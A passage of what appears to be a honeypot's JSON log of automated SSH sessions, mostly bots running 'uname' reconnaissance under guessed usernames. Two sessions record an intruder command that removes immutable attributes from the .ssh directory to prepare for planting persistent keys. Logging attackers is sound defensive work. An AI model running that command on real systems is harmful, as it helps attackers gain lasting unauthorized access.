  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:04:05.778218+00:00",
  "ended_at": "2026-08-27T02:04:08.730918+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d41a5ed0-aa2a-4cf3-a350-3e27b2e93f4f",
  "name": "sandy-zealous-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35240,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:04:01.607778+00:00",
  "ended_at": "2026-08-27T02:04:04.189374+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "239806a6-9c70-4712-b3d4-8a85ab130d2a",
  "name": "hazy-buoyant-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55976,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:57.895210+00:00",
  "ended_at": "2026-08-27T02:04:04.187591+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "e02bf71a-e056-441e-ae0f-a29b89a0486e",
  "name": "civil-stoic-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:44.744146+00:00",
  "ended_at": "2026-08-27T02:03:47.583174+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "826cfb96-524c-41e6-b136-2abaf21591fa",
  "name": "windswept-brazen-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:43.996332+00:00",
  "ended_at": "2026-08-27T02:03:48.554366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03628bf6-932f-4222-bb01-ed0e1c143466",
  "name": "ruddy-steady-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54522,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:32.646448+00:00",
  "ended_at": "2026-08-27T02:03:37.807021+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74916d27-84ab-43cb-8ff3-d94da31fbd62",
  "name": "buoyant-russet-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 42834,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:30.934939+00:00",
  "ended_at": "2026-08-27T02:03:32.669096+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "57779227-83e8-43a5-81d7-75cd3369efbb",
  "name": "glacial-hearty-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 46424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 560,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:03:29.032587+00:00",
  "ended_at": "2026-08-27T02:03:30.102092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "577c413e-8643-4c34-b84b-a5db5ced0cfb",
  "name": "windswept-airy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55194,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 502,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:26.929644+00:00",
  "ended_at": "2026-08-27T02:03:32.666628+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "0a32be25-0c3d-451e-acc9-65b2ad2813ce",
  "name": "distant-pewter-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47948,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:23.899513+00:00",
  "ended_at": "2026-08-27T02:03:26.407174+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7027ebb4-629d-4df6-92cc-ed3cbfd870a6",
  "name": "oaken-sandy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55324,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:23.416948+00:00",
  "ended_at": "2026-08-27T02:03:26.979401+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "22d9e57b-e313-48be-a96a-d65fb2aa7ce8",
  "name": "blazing-serene-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36740,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 426,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:19.808937+00:00",
  "ended_at": "2026-08-27T02:03:26.408687+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "51f1d0e6-1e0e-4b21-8174-eddca8bd0c6a",
  "name": "patient-hazy-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 58894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:08.493707+00:00",
  "ended_at": "2026-08-27T02:03:09.648497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b368562-e581-47ce-9fba-e413186a7aab",
  "name": "umber-idle-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51538,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:03:03.986608+00:00",
  "ended_at": "2026-08-27T02:03:07.313654+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd818a64-b71d-4bb7-85d4-1a6bb78a76f7",
  "name": "mottled-sincere-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 46430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:03:03.746124+00:00",
  "ended_at": "2026-08-27T02:03:05.736377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e57d5bd1-eeaf-498c-9421-cff5ef421923",
  "name": "bitter-civil-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55982,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:02:59.962671+00:00",
  "ended_at": "2026-08-27T02:03:03.622488+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d12dd943-fd82-4131-9018-4795518e6814",
  "name": "russet-slender-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37008,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 378,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:55.011440+00:00",
  "ended_at": "2026-08-27T02:03:03.623610+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "42308d8e-acec-4f32-9468-84a5628162f1",
  "name": "daring-spirited-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55256,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:02:50.985172+00:00",
  "ended_at": "2026-08-27T02:03:01.338757+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae40f1af-afa2-4761-a05c-6f4df47c6ccc",
  "name": "murky-early-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51476,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:47.222622+00:00",
  "ended_at": "2026-08-27T02:02:50.534493+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "95127a14-d71d-4468-a420-dc67c8f32494",
  "name": "shaded-prickly-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:35.554531+00:00",
  "ended_at": "2026-08-27T02:02:39.505533+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25bc8065-8c4a-4851-a9c8-93c1a8ef6dcf",
  "name": "drifting-spirited-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 55268,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:02:27.404239+00:00",
  "ended_at": "2026-08-27T02:02:29.815255+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d5e28d21-87ff-4bdd-b2b7-25c5308f2a35",
  "name": "forlorn-subtle-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:27.299160+00:00",
  "ended_at": "2026-08-27T02:02:31.160331+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1d74ef26-8032-4026-b1ca-572a308eac02",
  "name": "smoky-dappled-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43484,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:22.077659+00:00",
  "ended_at": "2026-08-27T02:02:29.816439+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "eb221dc8-e16b-4e08-89c2-15d4aba82e71",
  "name": "sandy-feral-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50464,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:19.806495+00:00",
  "ended_at": "2026-08-27T02:02:22.875789+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ca04aa8-b02b-4a6a-8551-b8bdaf9d0b45",
  "name": "graceful-wooded-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:14.487020+00:00",
  "ended_at": "2026-08-27T02:02:18.624489+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b819417e-8131-43fa-84e6-d254068d7980",
  "name": "misty-watchful-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41066,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:02:10.079633+00:00",
  "ended_at": "2026-08-27T02:02:12.342349+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca4dd1ba-be5f-4092-8984-e0a072cf23d9",
  "name": "cunning-blazing-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41056,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:02:09.313921+00:00",
  "ended_at": "2026-08-27T02:02:11.954648+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70fa7c40-232f-4a67-977d-761708ea316f",
  "name": "languid-lively-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37230,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:06.009532+00:00",
  "ended_at": "2026-08-27T02:02:11.953350+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "c7dd6097-c472-4a7c-89a7-8c29013952b3",
  "name": "obsidian-blazing-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40532,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:05.964834+00:00",
  "ended_at": "2026-08-27T02:02:12.343561+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "739c72fe-797f-45b9-80d8-6afd1b33575f",
  "name": "seaward-opal-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52684,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:50.009658+00:00",
  "ended_at": "2026-08-27T02:01:54.263627+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fcf7e3f5-221f-4a1b-8ce2-f0c720982650",
  "name": "pristine-austere-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40118,
  "username": "odoo16",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:01:39.486877+00:00",
  "ended_at": "2026-08-27T02:01:41.959118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91206f86-2748-47bd-8563-2c0d85390662",
  "name": "ginger-sincere-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33428,
  "username": "odoo16",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:35.445838+00:00",
  "ended_at": "2026-08-27T02:01:41.957787+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "ce71354a-7431-42c6-9631-683542823b03",
  "name": "rugged-smooth-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:34.898262+00:00",
  "ended_at": "2026-08-27T02:01:40.415465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4a1e4a1-5f85-4274-82f4-073ab2841ed5",
  "name": "upland-bronzed-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:29.719715+00:00",
  "ended_at": "2026-08-27T02:01:33.715186+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5343aaf8-03ef-46ac-a460-f78ece3bcd62",
  "name": "stormy-dutiful-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43508,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:01:18.724606+00:00",
  "ended_at": "2026-08-27T02:01:21.026218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8b4e973-a343-47b4-8ab7-0698f1f0ea4e",
  "name": "arctic-marbled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47508,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:12.894389+00:00",
  "ended_at": "2026-08-27T02:01:21.027884+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7750ba28-2a15-40c1-910b-06617f818d2f",
  "name": "sincere-wistful-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:10.788159+00:00",
  "ended_at": "2026-08-27T02:01:13.473698+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d1b1a9df-c889-415e-8343-7a88355ff124",
  "name": "zealous-sunlit-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 40582,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:01:09.888216+00:00",
  "ended_at": "2026-08-27T02:01:11.737287+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "489b542b-ff5e-46f0-a924-70f11eccb116",
  "name": "painted-flinty-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34998,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:04.964460+00:00",
  "ended_at": "2026-08-27T02:01:11.738156+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f8d2609c-f065-4eb0-a96f-656656165955",
  "name": "weathered-mighty-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50878,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:01:02.538446+00:00",
  "ended_at": "2026-08-27T02:01:08.038488+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe366799-d73f-419c-a197-eeb675f90419",
  "name": "sullen-eager-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:40.819730+00:00",
  "ended_at": "2026-08-27T02:00:44.612913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86b9f2ba-4002-4f79-b871-453649dc4078",
  "name": "fabled-twilight-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:33.047393+00:00",
  "ended_at": "2026-08-27T02:00:38.459952+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0185c8d3-eb7b-4524-9f5d-422ea37375a9",
  "name": "patient-hardy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:31.234770+00:00",
  "ended_at": "2026-08-27T02:00:36.594076+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d31416ae-ce78-4633-b6d3-d5cded924f15",
  "name": "wandering-tidal-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47536,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:00:21.209287+00:00",
  "ended_at": "2026-08-27T02:00:24.241929+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f216250-53ee-45cd-8e84-4d14373b1146",
  "name": "nimble-foggy-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47520,
  "username": "hamed",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:00:21.143095+00:00",
  "ended_at": "2026-08-27T02:00:23.956676+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e4d9a36-7e21-4759-885a-bfc6f65a6a2f",
  "name": "hazy-fickle-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:17.663032+00:00",
  "ended_at": "2026-08-27T02:00:22.254264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3c91960f-9386-47a0-ac2e-315e750291ea",
  "name": "coral-salty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 59792,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:00:16.565060+00:00",
  "ended_at": "2026-08-27T02:00:17.631058+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "041f15be-9a43-46b9-894f-9a362e227b03",
  "name": "mellow-meadow-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46036,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 398,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:14.765309+00:00",
  "ended_at": "2026-08-27T02:00:24.242995+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "836adeee-7f91-4320-9e38-add7412ba438",
  "name": "granite-reedy-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37316,
  "username": "hamed",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 422,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:14.689366+00:00",
  "ended_at": "2026-08-27T02:00:23.958827+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "775de47d-5336-4330-93ee-7977bdb5daf1",
  "name": "icy-plucky-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:00:10.074841+00:00",
  "ended_at": "2026-08-27T02:00:16.946484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c47755b5-c618-487b-ae9c-3a391d3343ed",
  "name": "blunt-blazing-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35038,
  "username": "sonar",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:00:02.835670+00:00",
  "ended_at": "2026-08-27T02:00:06.589491+00:00",
  "ended_reason": "no channel opened",
